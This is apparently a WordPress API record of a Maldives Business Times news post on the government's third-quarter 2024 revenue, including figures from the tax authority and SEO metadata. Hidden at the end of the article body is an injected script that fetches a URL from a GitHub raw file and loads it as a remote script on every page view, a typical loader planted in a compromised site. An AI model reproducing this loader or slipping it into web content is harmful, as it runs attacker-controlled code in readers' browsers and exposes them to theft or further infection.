{"id":12929,"date":"2024-11-17T11:21:50","date_gmt":"2024-11-17T06:21:50","guid":{"rendered":"https:\/\/mbt.mv\/?p=12929"},"modified":"2024-11-17T11:21:50","modified_gmt":"2024-11-17T06:21:50","slug":"govt-earns-mvr-7-21-bn-revenue-in-q3-up-14-1","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=12929","title":{"rendered":"Govt earns MVR 7.21 Bn revenue in Q3, up 14.1%"},"content":{"rendered":"<p>The Maldives government earned MVR 7.21 billion during the third quarter of 2024, which is a 14.1% increase compared to the corresponding quarter last year.<\/p>\n<p>According to the Maldives Inland Revenue Authority (MIRA) in its quarterly review for this year&#8217;s third quarter, the revenue collection observed a 22.5% increase compared to initial projections as well.<\/p>\n<p>MIRA further reports that an increase in tourist arrivals for the taxable period of the third quarter by 11.0% compared to the same quarter in 2023. The taxable bed nights subject to green tax reported via green tax returns submitted for the third quarter this year increased by 8.6% compared to the same quarter last year.<\/p>\n<p>Departures from June 2024 to August 2024 also saw an increment by 10.3% compared to the same quarter of 2023.<\/p>\n<p>Tax revenues collected during the third quarter reached MVR 5.69 billion; which is a 6.7% increase compared to the same quarter last year, and a 12.2% increment from initial projections. The non-tax revenues collected during the review quarter stood at MVR 1.53 billion; which is a 53.6% compared to the corresponding quarter of 2023, and a whopping 85.8% increase compared to initial projections.<\/p>\n<p>The revenue collected during the review quarter consists of USD 240.65 million as well; which is an 11.0% increment compared to the same quarter last year.<\/p>\n<h3>Top Revenue Contributions<\/h3>\n<ol>\n<li><strong>GST:<\/strong> MVR 3.06 billion<\/li>\n<li><strong>Income Tax:<\/strong> MVR 1.92 billion<\/li>\n<li><strong>Tourism Land Rent:<\/strong> MVR 508.32 million<\/li>\n<li><strong>Airport Development Fee:<\/strong> MVR 270.46 million<\/li>\n<li><strong>Departure Tax:<\/strong> MVR 264.83 million<\/li>\n<\/ol>\n<p><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives government earned MVR 7.21 billion during the third quarter of 2024, which is a 14.1% increase compared to the corresponding quarter last year. According to the Maldives Inland Revenue Authority (MIRA) in its quarterly review for this year&#8217;s third quarter, the revenue collection observed a 22.5% increase compared to initial projections as well.<\/p>\n","protected":false},"author":4,"featured_media":10280,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2424,2428],"tags":[],"class_list":{"0":"post-12929","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-finance","8":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Govt earns MVR 7.21 Bn revenue in Q3, up 14.1% - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=12929\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Govt earns MVR 7.21 Bn revenue in Q3, up 14.1% - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"The Maldives government earned MVR 7.21 billion during the third quarter of 2024, which is a 14.1% increase compared to the corresponding quarter last year. According to the Maldives Inland Revenue Authority (MIRA) in its quarterly review for this year&#8217;s third quarter, the revenue collection observed a 22.5% increase compared to initial projections as well.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/mbt.mv\/?p=12929\" \/>\n<meta property=\"og:site_name\" content=\"Maldives Business Times\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/mvbiztimes\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-17T06:21:50+00:00\" \/>\n<meta name=\"author\" content=\"Mohamed Reehaan\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:site\" content=\"@mvbiztimes\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mohamed Reehaan\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/mbt.mv\/?p=12929#article\",\"isPartOf\":{\"@id\":\"https:\/\/mbt.mv\/?p=12929\"},\"author\":{\"name\":\"Mohamed Reehaan\",\"@id\":\"https:\/\/mbt.mv\/#\/schema\/person\/a0eedc1134716e7c8e4da095494670c2\"},\"headline\":\"Govt earns MVR 7.21 Bn revenue in Q3, up 14.1%\",\"datePublished\":\"2024-11-17T06:21:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/mbt.mv\/?p=12929\"},\"wordCount\":233,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/mbt.mv\/#organization\"},\"image\":{\"@id\":\"https:\/\/mbt.mv\/?p=12929#primaryimage\"},\"thumbnailUrl\":\"\",\"articleSection\":[\"FINANCE\",\"PUBLIC SECTOR\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/mbt.mv\/?p=12929#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/mbt.mv\/?p=12929\",\"url\":\"https:\/\/mbt.mv\/?p=12929\",\"name\":\"Govt earns MVR 7.21 Bn revenue in Q3, up 14.1% - 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